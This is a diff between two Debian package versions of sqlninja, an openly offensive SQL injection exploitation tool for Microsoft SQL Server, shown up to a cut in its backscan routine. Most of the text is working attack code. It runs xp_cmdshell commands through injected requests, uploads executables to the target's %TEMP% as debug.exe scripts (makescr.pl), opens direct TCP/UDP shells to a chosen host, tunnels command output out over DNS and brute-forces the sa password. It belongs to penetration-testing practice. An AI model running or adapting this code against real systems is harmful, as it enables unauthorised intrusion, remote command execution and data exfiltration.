diff -Nru /tmp/NrexN52Y8J/sqlninja-0.2.2~ppa3/ChangeLog /tmp/rRor9tj0Fv/sqlninja-0.2.3~ppa1/ChangeLog --- /tmp/NrexN52Y8J/sqlninja-0.2.2~ppa3/ChangeLog 2008-01-20 14:15:05.000000000 +0000 +++ /tmp/rRor9tj0Fv/sqlninja-0.2.3~ppa1/ChangeLog 2008-05-25 11:01:44.000000000 +0100 @@ -2,6 +2,13 @@ sqlninja changelog ================== +Version 0.2.3 ++ Added metasploit module + ++ Added makescr.pl + ++ Dirshell module now allows to specify an alternate host + Version 0.2.2 + Added evasion techniques diff -Nru /tmp/NrexN52Y8J/sqlninja-0.2.2~ppa3/debian/changelog /tmp/rRor9tj0Fv/sqlninja-0.2.3~ppa1/debian/changelog --- /tmp/NrexN52Y8J/sqlninja-0.2.2~ppa3/debian/changelog 2008-01-13 08:35:39.000000000 +0000 +++ /tmp/rRor9tj0Fv/sqlninja-0.2.3~ppa1/debian/changelog 2008-04-22 11:31:03.000000000 +0100 @@ -1,3 +1,9 @@ +sqlninja (0.2.3~ppa1) gutsy; urgency=low + + * New upstream version 0.2.3 + + -- Red H4ck Tue, 22 Apr 2008 12:30:55 +0200 + sqlninja (0.2.2~ppa3) gutsy; urgency=low * Fixed a dependency issue diff -Nru /tmp/NrexN52Y8J/sqlninja-0.2.2~ppa3/debian/control /tmp/rRor9tj0Fv/sqlninja-0.2.3~ppa1/debian/control --- /tmp/NrexN52Y8J/sqlninja-0.2.2~ppa3/debian/control 2008-01-13 08:35:26.000000000 +0000 +++ /tmp/rRor9tj0Fv/sqlninja-0.2.3~ppa1/debian/control 2008-04-22 11:30:06.000000000 +0100 @@ -1,7 +1,7 @@ Source: sqlninja Section: utils Priority: extra -Maintainer: Philippe Baumgart +Maintainer: Red H4ck Build-Depends: debhelper (>= 5), libio-socket-ssl-perl Standards-Version: 3.7.2 Binary files /tmp/NrexN52Y8J/sqlninja-0.2.2~ppa3/dnstun/dnstun.exe and /tmp/rRor9tj0Fv/sqlninja-0.2.3~ppa1/dnstun/dnstun.exe differ Binary files /tmp/NrexN52Y8J/sqlninja-0.2.2~ppa3/libnetpacket-perl_0.04--1_all.deb and /tmp/rRor9tj0Fv/sqlninja-0.2.3~ppa1/libnetpacket-perl_0.04--1_all.deb differ diff -Nru /tmp/NrexN52Y8J/sqlninja-0.2.2~ppa3/makescr.pl /tmp/rRor9tj0Fv/sqlninja-0.2.3~ppa1/makescr.pl --- /tmp/NrexN52Y8J/sqlninja-0.2.2~ppa3/makescr.pl 1970-01-01 01:00:00.000000000 +0100 +++ /tmp/rRor9tj0Fv/sqlninja-0.2.3~ppa1/makescr.pl 2008-03-09 03:25:38.000000000 +0000 @@ -0,0 +1,100 @@ +#!/usr/bin/perl + +# sqlninja debug script generator +# Copyright (C) 2008 icesurfer +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 2 +# of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. +# +# This software is a part of sqlninja. +# For its goal and utilization, check the README file that you should +# have received with this file. +# For more information, check http://sqlninja.sourceforge.net + +use strict; +use Getopt::Std; + +my %options; +getopts('i:o:s',\%options); +my $file = $options{i}; +my $silent = $options{s}; +my $output = $options{o}; + +unless ($silent == 1) { + print "sqlninja debug script generator\n"; + print "Copyright (C) 2008 icesurfer \n\n"; +} + +if ($file eq "") { + print "Usage: ".$0." -i [-o ]\n\n"; + exit(0); +} + +my $script = "n %TEMP%\\#temp#\nr cx\n"; + +my $filesize = -s $file; +if ($filesize > 65535) { + die "[-] file is too big for debug.exe\n"; +} +$filesize = sprintf("%x",$filesize); +$script .= $filesize."\n"; +$script .= "f 0100 ffff 00\n"; + +my $record; +my @a; +my $template = "C"; +my $counter = 256; +my $counter2 = 0; +my $b; +my $string = ""; +open (FILE, "<".$file); +while (read(FILE,$record,1)) { + @a = unpack($template,$record); + foreach (@a) { + $b = sprintf("%02x",$_); + if ($_ ne "0") { + $counter2++; + if ($string eq "") { + $string = "e ".sprintf("%x",$counter)." ".$b; + } else { + $string .= " ".$b; + } + } else { + if ($string ne "") { + $script .= $string."\n"; + $string = ""; + $counter2 = 0; + } + } + } + $counter++; + if ($counter2 == 20) { + $script .= $string."\n"; + $string = ""; + $counter2 = 0; + } +} +$script .= "w\nq\n"; +if ($output eq "") { + print $script; +} else { + open (OUT, ">".$output) or die "Can't write to ".$output."\n"; + print OUT $script; + unless ($silent == 1) { + print "Debug script created successfully\n"; + } + +} +close FILE; +close OUT; diff -Nru /tmp/NrexN52Y8J/sqlninja-0.2.2~ppa3/sqlninja /tmp/rRor9tj0Fv/sqlninja-0.2.3~ppa1/sqlninja --- /tmp/NrexN52Y8J/sqlninja-0.2.2~ppa3/sqlninja 2008-01-13 07:48:30.000000000 +0000 +++ /tmp/rRor9tj0Fv/sqlninja-0.2.3~ppa1/sqlninja 2008-04-22 11:30:21.000000000 +0100 @@ -25,14 +25,12 @@ # # Dirty code, but it works, so there is no high pressure to # make it look better ;) -# -# 17/01/2008: $DEITY now has somebody to play chess with.... :( my $directory; BEGIN { - use Cwd; - $directory = cwd; + use Cwd; + $directory = cwd; } use lib "$directory/lib"; @@ -42,7 +40,7 @@ use IO::Handle; use Getopt::Std; -my $RELEASE = "0.2.2"; +my $RELEASE = "0.2.3"; # global variables that contain the configuration file options my $host = ""; @@ -77,6 +75,7 @@ my $errorstring = ""; my $errorflag = 0; my $appendcomment = "--"; +my $msfpath = ""; # Provide a friendly message for missing modules... my %nonStandardModules = ( @@ -135,7 +134,8 @@ $mode ne "backscan" && $mode ne "k" && $mode ne "revshell" && $mode ne "r" && $mode ne "dnstunnel" && $mode ne "d" && - $mode ne "sqlcmd" && $mode ne "c" ) { + $mode ne "sqlcmd" && $mode ne "c" && + $mode ne "metasploit" && $mode ne "m") { usage(); exit(1); } @@ -249,12 +249,14 @@ dnstunnel(); } elsif (($mode eq "sqlcmd") || ($mode eq "c")) { sqlcmd(); +} elsif (($mode eq "metasploit") || ($mode eq "m")) { + metasploit(); } +exit(0); ############################################################################## # Main program ends here ############################################################################## -exit(0); # Parse options from configuration file sub parsefile @@ -483,6 +485,13 @@ elsif ($confline=~m/^evasion=([1-4]+)$/) { $evasion = $1; } + # msf path + elsif ($confline=~m/^msfpath=(\S+)$/) { + $msfpath = $1; + unless ($msfpath=~m/\/$/) { + $msfpath = $msfpath."/"; + } + } } close FILE; if ($host eq "") { @@ -684,6 +693,9 @@ $configuration .= "evasion = ".$i."\n\n"; $configuration .= + "# Path to metasploit executable. Only needed if msfpayload and\n". + "# msfcli are not already in the path\n". + "# msfpath = /some/dir/\n\n". "# Additional headers to include into the request. E.g.:\n". "# Host: www.test.com\n# Connection: close\n". "# Cookie: ASPSESSIONID=xxxxxxxxxxxxxxxxxxxx\n". @@ -737,6 +749,88 @@ print "\n[+] ".$confile." written successfully\n"; } +# check whether we are talking with an SSL server or not +# The whole fork() thing is needed because some non-SSL servers make +# IO::Socket::SSL->new hang indefinitely (even nikto has this problem, at +# least with my libraries) and I really want the Ninja to be able to figure +# out whether it is SSL or not by itself +sub checkSSL +{ + print "[+] Checking whether the remote server uses SSL\n"; + my $ninjasock = genfile(); + unlink $ninjasock; + if ($verbose == 1) { + print " [v] Creating UNIX socket for SSL check\n"; + } + my $server = new IO::Socket::UNIX->new(Local => $ninjasock, + Type => SOCK_DGRAM, + Listen => 5) + || die "can't create UNIX socket: $!\n"; + if ($verbose == 1) { + print " [v] Forking SSL connection child\n"; + } + my $sslpid = fork(); + if ($sslpid == -1) { + $server->close; + unlink $ninjasock; + print "can't fork child process\n"; + exit(1); + } + if ($sslpid == 0) { + $server->close; + if ($verbose == 1) { + print " [v] Attempting SSL connection\n"; + } + my $s = IO::Socket::SSL->new( + PeerAddr => $host, + PeerPort => $port, + Timeout => 1 ); + if (defined $s) { + my $k=IO::Socket::UNIX->new(Peer => $ninjasock, + Type => SOCK_DGRAM, + Timeout => 10) + || die "could not create UNIX socket\n"; + $k->send("ssl"); + close $k; + } + # It's unbelievable how some stupid bugs can go unnoticed + # for a whole bunch of widely used releases.... + exit(0); + } + my $timeoutpid = fork(); + if ($timeoutpid == -1) { + $server->close; + unlink $ninjasock; + print "can't fork child process \n"; + exit(1); + } + if ($timeoutpid == 0) { + $server->close; + sleep(5); + my $k=IO::Socket::UNIX->new(Peer => $ninjasock, + Type => SOCK_DGRAM, + Timeout => 10) + || die "could not create UNIX socket\n"; + $k->send("timeout"); + close $k; + exit(0); + } + my $msg; + $server->recv($msg,16,0); + if ($msg eq "ssl") { + kill TERM => $timeoutpid; + $ssl = 1; + print "[+] the remote server seems to talk SSL\n"; + } else { + print "[+] The remote server does not talk SSL\n"; + kill TERM => $sslpid; + $ssl = 0; + } + close $server; + unlink $ninjasock; +} + + # Simply test whether the configuration is correct and the injection # is working sub test @@ -835,7 +929,7 @@ } else { print " You are not an administrator". ". If you tried escalating al". - "ready, it might be\n it that you ". + "ready, it might be\n that you ". "are using old ODBC connections. Check". " the documentation\n for how to deal". " with this\n"; @@ -1050,7 +1144,7 @@ "EXEC sp_OACreate 'WScript.Shell',\@ID OUT ". "EXEC sp_OAMethod \@ID,'Run',Null,'ping -n ".$blindtime. " 127.0.0.1',0,1 ". - "EXEC sp_OADesstroy \@ID"; + "EXEC sp_OADestroy \@ID"; my $delay = tryblind($query); if ($delay > $blindtime - 2) { return 1; @@ -1347,10 +1441,10 @@ # Bruteforce the sa account password using the network/dictionary approach. sub brutedict { - # We fix $blindtime to 20 seconds, since bruteforcing might slow + # We fix $blindtime to 59 seconds, since bruteforcing might slow # down server responses. And after all, the 'waitfor' is executed # only once, so no big deal - $blindtime = 20; + $blindtime = 59; print " Number of concurrent processes"; my $procnum = -1; while ($procnum > 10 or $procnum < 0) { @@ -1610,7 +1704,7 @@ $password."','select 1;".$cmd."')"; } $result = sendrequest($cmd); - sleep(1); + sleep(2); $result = fingerprint_shell("xp_cmdshell"); if ($result == 1) { print "[+] Yes ! Now xp_cmdshell is available\n"; @@ -1659,7 +1753,7 @@ } $result = sendrequest($cmd); # print "[+] Testing if ".$xp_name." is working...\n"; - sleep(1); + sleep(2); $result = fingerprint_shell($xp_name); if ($result == 1) { print "[+] ".$xp_name." available ! \n"; @@ -1684,568 +1778,277 @@ exit(0); } -# check whether we are talking with an SSL server or not -# The whole fork() thing is needed because some non-SSL servers make -# IO::Socket::SSL->new hang indefinitely (even nikto has this problem, at -# least with my libraries) and I really want the Ninja to be able to figure -# out whether it is SSL or not by itself -sub checkSSL + +# upload a file to the remote server. $_[0] must be the +# .scr version of an executable +sub upload { - print "[+] Checking whether the remote server uses SSL\n"; - my $ninjasock = genfile(); - unlink $ninjasock; if ($verbose == 1) { - print " [v] Creating UNIX socket for SSL check\n"; + print " [v] Starting upload module\n"; } - my $server = new IO::Socket::UNIX->new(Local => $ninjasock, - Type => SOCK_DGRAM, - Listen => 5) - || die "can't create UNIX socket: $!\n"; + my $file = $_[0]; if ($verbose == 1) { - print " [v] Forking SSL connection child\n"; - } - my $sslpid = fork(); - if ($sslpid == -1) { - $server->close; - unlink $ninjasock; - print "can't fork child process\n"; - exit(1); - } - if ($sslpid == 0) { - $server->close; - if ($verbose == 1) { - print " [v] Attempting SSL connection\n"; - } - my $s = IO::Socket::SSL->new( - PeerAddr => $host, - PeerPort => $port, - Timeout => 1 ); - if (defined $s) { - my $k=IO::Socket::UNIX->new(Peer => $ninjasock, - Type => SOCK_DGRAM, - Timeout => 10) - || die "could not create UNIX socket\n"; - $k->send("ssl"); - close $k; - } - # It's unbelievable how some stupid bugs can go unnoticed - # for a whole bunch of widely used releases.... - exit(0); - } - my $timeoutpid = fork(); - if ($timeoutpid == -1) { - $server->close; - unlink $ninjasock; - print "can't fork child process \n"; - exit(1); - } - if ($timeoutpid == 0) { - $server->close; - sleep(5); - my $k=IO::Socket::UNIX->new(Peer => $ninjasock, - Type => SOCK_DGRAM, - Timeout => 10) - || die "could not create UNIX socket\n"; - $k->send("timeout"); - close $k; - exit(0); - } - my $msg; - $server->recv($msg,16,0); - if ($msg eq "ssl") { - kill TERM => $timeoutpid; - $ssl = 1; - print "[+] the remote server seems to talk SSL\n"; - } else { - print "[+] The remote server does not talk SSL\n"; - kill TERM => $sslpid; - $ssl = 0; + print " [v] Deleting any previous instance of the file...\n"; } - close $server; - unlink $ninjasock; -} + my @path = split(/\//,$file); + my $filename = pop(@path); + my @filearray = split(/\./,$filename); + my $cmd = "del \%TEMP\%\\".$filearray[0].".*"; + my $command = createcommand($cmd); + my $result = sendrequest($command); -# Launches "blind" commands using xp_cmdshell through the web application -sub sqlcmd -{ - print "[+] Starting blind command mode."; - print " Use \"exit\" to be dropped back to your shell.\n"; - my $cmd; - my $command; - my $result; - while (1) { - print "> "; - $cmd = ; - chomp($cmd); - if ($cmd eq "exit") { - print "Thank you for using sqlninja... see ya\n"; - exit(0); - } - if ($cmd ne "") { - $command = createcommand($cmd); - $result = sendrequest($command); - print "[+] Command has been sent and executed\n"; - } + print "[+] Uploading ".$file." debug script............\n"; + open (FILE, $file) || die "can't open file ".$file.": $!"; + my $line; + my $countlines = 0; + # Count total lines in the file + my $totallines; + while ($line = ) { + $totallines++; } -} + close FILE; -# Attempt to tunnelize command output in DNS queries -# URL-encode the command, then call dnssend() -# dnstunnel.exe must have been uploaded first -sub dnstunnel -{ - print "[+] Starting dnstunnel mode...\n"; + # Upload the whole script thing + open (FILE, $file); + # The first line is overridden. This is useful if the user creates + # custom debug scripts + $line = ; + $cmd = "echo n %TEMP%\\#temp# > \%TEMP\%\\".$filename; + $command = createcommand($cmd); + $result = sendrequest($command); + $countlines++; + + # Then we proceed normally... + while ($line = ) { + # goddamned \r's .... >:| + $line =~ s/\r//g; + chomp($line); + $cmd = "echo ".$line." >> \%TEMP\%\\".$filename; + $command = createcommand($cmd); + $result = sendrequest($command); + $countlines++; + print $countlines."/".$totallines." lines written \r"; + } + print $totallines."/".$totallines." lines written \ndone !\n"; + close FILE; + + # Check that the exact number of lines was uploaded + # We count the lines and store the result in a temporary file, then + # we check the last token in that file + my $delay; + my $wrongscr = 0; + local $/=\1; + local $|=1; if ($verbose == 1) { - print " [v] Be sure you uploaded dnstunnel.exe already\n"; + print "[v] Checking number of uploaded lines\n"; } - print "[+] Use \"exit\" to be dropped back to your shell.\n"; - my $cmd; - while (1) { - print "dnstunnel> "; - $cmd = ; - chomp($cmd); - if ($cmd eq "exit") { - print "Thank you for using sqlninja... see ya\n"; - exit(0); - } - if ($cmd ne "") { - dnssend($cmd); + $cmd = "find /v /c \"zzzz\" %TEMP%\\".$filename." > %TEMP%\\lines.txt ". + "& find \" ".$totallines."\" %TEMP%\\lines.txt > nul ". + "& if not errorlevel = 1 ping -n ".$blindtime." 127.0.0.1 ". + "& del %TEMP%\\lines.txt"; + $command = createcommand($cmd); + $delay = tryblind($command); + if ($delay > ($blindtime-2)) { + if ($verbose == 1) { + print "[v] ".$filename." seems to have been ". + "properly uploaded\n"; + } + } else { + $wrongscr = 1; + print "[-] ".$filename." seems not to have been uploaded". + " correctly.\n"; + print "[-] Checking whether it is there.... "; + $cmd = "if exist %TEMP%\\".$filename." (ping -n " + .$blindtime." 127.0.0.1)"; + $command = createcommand($cmd); + $delay = tryblind($command); + if ($delay < ($blindtime-2)) { + print "no. User has not write privileges?\n"; + exit(1); + } + print "yes.\n You want to count the uploaded lines? (y/n)"; + my $resp=""; + while (($resp ne "y") and ($resp ne "n")) { + print "\n> "; + $resp = ; + chomp($resp); + } + if ($resp eq "y") { + checkscrlines($filename,$totallines); + } + + print "[-] You want me to try to create an exe anyway?"; + $resp=""; + while (($resp ne "y") and ($resp ne "n")) { + print "\n> "; + $resp = ; + chomp($resp); + } + if ($resp eq "n") { + print "[-] Bye...\n"; + delscr($filename); + exit(1); } } -} - -# Sends the command to dnstunnel.exe and waits for the results -sub dnssend -{ - my $cmd = $_[0]; - my $requestpid; # pid of the web request - my $decoderpid; # pid of the message decoder - my $dnspid; # pid of the fake DNS server - my $timeoutpid; # pid of the timeout process - unlink $dnssock; - - # Create the server socket that will receive messages from children - my $ninjasock; - $ninjasock=genfile(); - unlink $ninjasock; - if ($verbose == 1) { - print " [v] Starting local UNIX socket\n"; - } - my $server = new IO::Socket::UNIX->new(Local => $ninjasock, - Type => SOCK_DGRAM, - Listen=> 5) - || die "can't create UNIX socket: $!\n"; - my $msg; # message to the UNIX socket - - # spawn fake dns server - if ($verbose == 1) { - print " [v] Starting dns server process\n"; - } - $dnspid = fork(); - if ($dnspid == -1) { - print "can't fork dns server process\n"; - close $server; - unlink $ninjasock; - exit(1); - } - if ($dnspid == 0) { - $server->close; - dnsserver(); - exit(0); - } - # spawn decoder process - if ($verbose == 1) { - print " [v] Starting decoder process\n"; - } - $decoderpid = fork(); - if ($decoderpid == -1) { - print "can't fork decoder process\n"; - close $server; - unlink $ninjasock; - unlink $dnssock; - exit(1); - } - if ($decoderpid == 0) { - $server->close; - decodedns($ninjasock); - exit(0); - } - # spawn the process for the web request - if ($verbose == 1) { - print " [v] Starting web request process\n"; - } - $requestpid = fork(); - if ($requestpid == -1) { - print "can't fork web request process\n"; - close $server; - unlink $ninjasock; - unlink $dnssock; - exit(1); - } - if ($requestpid == 0) { - $server->close; - dnstunnelrequest($cmd); - my $s = IO::Socket::UNIX->new(Peer => $ninjasock, - Type => SOCK_DGRAM, - Timeout => 10); - $s->send("webdone"); - close $s; - exit(0); - } - - # Now wait for news.... - $server->recv($msg,16,0); - - # case 1: the decoder receives the full message and - # visualizes it. We kill the children and that's it - if ($msg eq "decoded") { - kill TERM => $requestpid; - kill TERM => $dnspid; - kill TERM => $decoderpid; - close $server; - unlink $ninjasock; - unlink $dnssock; - return; - } - - # case 2: the web request returns but the decoder hasn't - # finished receiving the messages yet - # Since there is no other case, if we don't receive - # "webdone" something is wrong - if ($msg ne "webdone") { - kill TERM => $dnspid; - kill TERM => $decoderpid; - close $server; - unlink $ninjasock; - unlink $dnssock; - print "Unexpected message: ".$msg.".... must be a bug\n"; - exit(1); - } - - # spawn the timeout child, to wait for some more packets - # to arrive - if ($verbose == 1) { - print " [v] Web request finished... waiting for last packets\n"; - } - $timeoutpid = fork(); - if ($timeoutpid == -1) { - print "can't fork timeout child !\n"; - kill TERM => $dnspid; - kill TERM => $decoderpid; - close $server; - unlink $ninjasock; - unlink $dnssock; - exit(1); - } - if ($timeoutpid == 0) { - $server->close; - sleep(6); - my $s = IO::Socket::UNIX->new(Peer => $ninjasock, - Type => SOCK_DGRAM, - Timeout => 10); - $s->send("timeout"); - close $s; - exit(0); - } - - # Wait for more news - $server->recv($msg,16,0); - - # case 1 again... - if ($msg eq "decoded") { - kill TERM => $timeoutpid; - kill TERM => $dnspid; - kill TERM => $decoderpid; - close $server; - unlink $ninjasock; - unlink $dnssock; - return; - } - - # case 2 again... - if ($msg ne "timeout") { - kill TERM => $dnspid; - kill TERM => $decoderpid; - close $server; - unlink $ninjasock; - unlink $dnssock; - print "Unexpected message.... must be a bug\n"; - exit(1); - } - - print "Some DNS packets seem to got lost.... try again\n"; - kill TERM => $dnspid; - kill TERM => $decoderpid; - close $server; - unlink $ninjasock; - unlink $dnssock; - return; -} - -sub dnstunnelrequest -{ - my $cmd = "\%TEMP\%\\dnstun.exe ".$domain." ".$hostnamelen." ".$_[0]; - my $command = createcommand($cmd); - my $result = sendrequest($command); -} - -# Sniff dns requests and processes them -sub dnsserver -{ - my $ns = Net::DNS::Nameserver->new( - LocalAddr => "0.0.0.0", - LocalPort => 53, - ReplyHandler => \&reply_handler, - Verbose => 0 - ) || die "could't create nameserver object\n"; - $ns->main_loop; -} - -sub reply_handler -{ - my ($qname, $qclass, $qtype, $peerhost) = @_; - my ($rcode, @ans, @auth, @add); - if (($qtype ne "A") or ($qname !~ /$domain/)) { - return; - } - my ($ttl,$rdata) = (0,$resolvedip); - push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype $rdata"); - $rcode = "NOERROR"; - my $s = IO::Socket::UNIX->new(Peer => $dnssock, - Type => SOCK_DGRAM, - Timeout => 20); - $s->send($qname); - close $s; - return ($rcode, \@ans, \@auth, \@add, {aa => 1}); -} + # Generate the binary file + print "[+] Converting script to executable... might take a while\n"; + $cmd = "debug < \%TEMP\%\\".$filename; + $command = createcommand($cmd); + $result = sendrequest($command); -# Receives the dns messages from the sniffing child -# and processes them -sub decodedns -{ - my $ninjasock = $_[0]; - my $msg; # message from the DNS daemon - my @msgarray; # holds all received messages - my $buffer = ""; # buffer to decode - my $lastbuffered = -1; # last message appended to buffer - my $number; # number of current message - my $lastreceived = 0; # boolean: last packet received ? - my $complete = 0; # boolean: all packets received ? + # Rename the binary + $cmd = "ren \%TEMP\%\\#TEMP# ".$filearray[0].".exe"; + $command=createcommand($cmd); + $result = sendrequest($command); - my $chunklen; # length of chunk to decode - my $chunk; # chunk to decode - my $decoded; # decoded chunk` - my $n; - my $m; + delscr($filename); - my $server = IO::Socket::UNIX->new(Local => $dnssock, - Type => SOCK_DGRAM, - Listen=> 10) - || die "can't create UNIX socket: $!\n"; - # Let's start listening ! :) - while ($complete == 0) { - $server->recv($msg,255,0); - # cut the domain and the dots.... - $msg =~ s/$domain//; - $msg =~ s/\.//g; - - # If there is a "9", it's the last message - # Check dnstunnel.c for encoding details - if ($msg =~ /9/) { - ($n,$m) = split(/9/,$msg); - $lastreceived = 1; + # We check whether the exe file is there.... + print "[+] Checking whether ".$filearray[0].".exe is there...\n"; + $cmd = "if exist %TEMP%\\".$filearray[0].".exe (ping -n ". + $blindtime." 127.0.0.1)"; + $command = createcommand($cmd); + $delay = tryblind($command); + if ($delay > ($blindtime - 2)) { + # If we are here, a exe is present.... + # Now let's check that its size is not zero (it can happen + # if debug.exe fails) + # File size can be token 3 or 4 depending on cmd.exe version + $cmd = "dir %TEMP%\\".$filearray[0].".exe | ". + "find \"".$filearray[0].".exe\" > %TEMP%\\xtst.txt & ". + "for /F \"tokens=3\" %i in (%TEMP%\\xtst.txt) do ". + "(if %i equ 0 ping -n ".$blindtime." 127.0.0.1) & ". + "for /F \"tokens=4\" %i in (%TEMP%\\xtst.txt) do ". + "(if %i equ 0 ping -n ".$blindtime." 127.0.0.1) & ". + "del %TEMP%\\xtst.txt"; + $command = createcommand($cmd); + $delay = tryblind($command); + if ($delay > ($blindtime-2)) { + # Empty exe + print "[-] ".$filearray[0].".exe seems to be there". + " but empty. ". + "Debug.exe has probably failed\n"; } else { - ($n,$m) = split(/8/,$msg); - } - - # Insert the received message in the array - $number=base32counterdecode($n); - $msgarray[$number]=$m; - # If the received message is exactly the same - # that we were waiting for, append it to the buffer, - # followed by other ones previously received in wrong - # order, if any - my $arraylen = @msgarray; - while (($msgarray[$number] ne "") and ($number<$arraylen)) { - if ($number == ($lastbuffered+1)) { - $buffer .= $msgarray[$number]; - $lastbuffered = $lastbuffered+1; + # Non-empty exe + if ($wrongscr == 1) { + print "[-] ".$filearray[0].".exe seems to ". + "be there... can't be sure will work\n"; + } else { + print "[+] ".$filearray[0].".exe seems to ". + "be there... enjoy! :)\n"; } - $number++; } - - # decode what can be decoded in the buffer and print - $chunklen = (int(length($buffer)/8))*8; - $chunk = substr($buffer,0,$chunklen); - $buffer = substr($buffer,$chunklen); - $decoded = base32decode($chunk); - print $decoded; - - # Are we at the end ? - $complete=checkdnscomplete(\@msgarray,$lastreceived); - } - - $decoded = base32decode($buffer); - print $decoded; - my $s = IO::Socket::UNIX->new(Peer => $ninjasock, - Type => SOCK_DGRAM, - Timeout => 10) - || die "can't create UNIX socket: $!\n"; - $s->send("decoded"); - close $s; - exit(0); -} - -# Check whether all messages have been received -sub checkdnscomplete -{ - my @msgarray=@{$_[0]}; - if ($_[1] == 0) { - return 0; - } - my $number = @msgarray; - my $i; - my $complete = 1; - if ($_[1] == 1) { - for ($i=0;$i<$number;$i++) { - if ($msgarray[$i] eq '') { - $complete=0; - } + } else { + # If we get here, the exe is not there + if ($wrongscr == 1) { + print "[-] ".$filearray[0].".exe was not found ". + "(debug script corrupted)\n"; + } else { + print "[-] ".$filearray[0].".exe was not found ". + "(debug.exe not present?)\n"; } } - return $complete; } -# decode a base32-encoded string -# Outrageously ripped from Convert-Base-32 by Tatsuhiko Miyagawa -sub base32decode +# Delete the uploaded script file +sub delscr { - my $encoded = $_[0]; - lc($encoded); # shouldn't be necessary... but just to be sure - my %char2bits = qw@ - a 00000 - b 00001 - c 00010 - d 00011 - e 00100 - f 00101 - g 00110 - h 00111 - i 01000 - j 01001 - k 01010 - l 01011 - m 01100 - n 01101 - o 01110 - p 01111 - q 10000 - r 10001 - s 10010 - t 10011 - u 10100 - v 10101 - w 10110 - x 10111 - y 11000 - z 11001 - 0 11010 - 1 11011 - 2 11100 - 3 11101 - 4 11110 - 5 11111 - @; - my $buffer = ''; - for my $pos (0..length($encoded)-1) { - $buffer .= $char2bits{substr($encoded,$pos,1)}; + my $filename = $_[0]; + if ($verbose == 1) { + print "[v] Removing the original scr file\n"; } - return pack('B*',$buffer); + my $cmd = "del \%TEMP\%\\".$filename; + my $command=createcommand($cmd); + my $result = sendrequest($command); } -# decode a base32-encoded counter -sub base32counterdecode +# Count the script uploaded lines +sub checkscrlines { - my $encoded = $_[0]; - my %char2number = qw@ - a 0 - b 1 - c 2 - d 3 - e 4 - f 5 - g 6 - h 7 - i 8 - j 9 - k 10 - l 11 - m 12 - n 13 - o 14 - p 15 - q 16 - r 17 - s 18 - t 19 - u 20 - v 21 - w 22 - x 23 - y 24 - z 25 - 0 26 - 1 27 - 2 28 - 3 29 - 4 30 - 5 31 - @; - my $number; - my $i; - my $len = length($encoded); - for my $pos (0..$len-1) { - $i = $char2number{substr($encoded,$pos,1)}; - $number += $i*(32 ** ($len-1-$pos)); + my $filename = $_[0]; + my $lines = $_[1]; + + print "[-] Counting uploaded lines... might take a bit\n"; + + # We start by getting the lines (again...) + my $cmd = "find /c /v \"zzzzz\" %TEMP%\\".$filename." > ". + "%TEMP%\\lines.txt"; + my $command=createcommand($cmd); + my $result = sendrequest($command); + + # Now we find the interval where that number is + my $min = 0; + my $max = 0; + my $candidate = $lines; + my $delay; + while ($max == 0) { + $delay=singlelinescheck($candidate); + if ($delay > ($blindtime - 2)) { + $max = $candidate; + } else { + $min = $candidate; + $candidate = $candidate*2; + } } - return $number; -} - -# Encode SQL commands into url-friendly strings -# It also perform random URI encoding evasion -sub urlencode -{ - my $s = $_[0]; + # Now we know that the number is between $min and $max if ($verbose == 1) { - " [v] URL-encoding command\n"; + local $/=\1; + local $|=1; + print "Trying... "; } - $s =~ s/[\t\r\n]/ /g; - - my @t = split(//,$s); - $s = ""; - foreach (@t) { - if (($evasion =~ /4/) # If random URI encoding, - and ($_ =~ /[A-Za-z0-9]/) # and it's alphanumeric - and (int(rand(3))==1)) { # we might as well encode it :) - $_=sprintf("%%%2X", ord($_)); + while ($max != $min) { + $candidate = int(($max+$min)/2); + if ($verbose == 1) { + local $/=\1; + local $|=1; + print $candidate."... "; + } + $delay = singlelinescheck($candidate); + if ($delay > ($blindtime-2)) { + $max = $candidate; } else { - $_=~s/([^A-Za-z0-9])/sprintf("%%%2X", ord($1))/se; + $min = $candidate+1; } - $s=$s.$_; } - return $s; + if ($verbose == 1) { + print "\n"; + } + print "[-] ".$max." lines were uploaded instead of ".$lines."\n"; + $cmd = "del %TEMP%\\lines.txt"; + my $command=createcommand($cmd); + my $result = sendrequest($command); + # TIMMEY !!!!!!!!!!!!!!!!!!!!! :) +} + +# Performs a single check on the number of lines +sub singlelinescheck +{ + my $cmd = "for /F \"tokens=3\" %i in (%TEMP%\\lines.txt) do ". + "(if %i LEQ ".$_[0]." ping -n ".$blindtime." 127.0.0.1)"; + my $command = createcommand($cmd); + my $delay = tryblind($command); + return $delay; } + + # Direct tcp and udp shell sub dirshell { if ($verbose == 1) { print " [v] Starting dirshell module\n"; } my $rport; + my $rhost; my $proto; + print "Host to connect to [".$host."]: "; + $rhost = ; + chomp ($rhost); + if ($rhost eq "") { + $rhost = $host; + } $rport = 0; print "Remote port: "; $rport = ; @@ -2292,9 +2095,9 @@ sleep($t); print "[+] Trying to contact the remote host... \n"; if ($proto eq "udp") { - udpdirshell($rport); + udpdirshell($rhost, $rport); } else { - tcpdirshell($rport); + tcpdirshell($rhost, $rport); } kill ("TERM", $requestpid); exit(0); @@ -2308,8 +2111,8 @@ } my $handle = IO::Socket::INET->new ( - PeerAddr => $host, - PeerPort => $_[0], + PeerAddr => $_[0], + PeerPort => $_[1], Proto => 'tcp', Type => SOCK_STREAM ); @@ -2344,8 +2147,8 @@ } my $handle = IO::Socket::INET->new ( - PeerAddr => $host, - PeerPort => $_[0], + PeerAddr => $_[0], + PeerPort => $_[1], Proto => 'udp' ); if (!defined($handle)) { @@ -2533,575 +2336,1073 @@ } } -# upload a file to the remote server. $_[0] must be the -# .scr version of an executable -sub upload + +# Performs a tcp/udp backscan trying to find a hole in the firewall +# Creates 3 subprocesses: the first sniffs the interface, the second +# performs the request to the web server. The parent then waits for their +# messages and when the second process exits it spawns the third, which +# waits for the timeout specified in the conf file and then signals +# the father, which finally kills the children and exits +sub backscan +{ + if ($verbose == 1) { + print " [v] Starting backscan module\n"; + } + my $snifferpid; # the sniffer + my $requestpid; # the web requestor + my $timeoutpid; # the timeout after the web request exits + + # Get the ports to scan + my $ports; + print "Ports 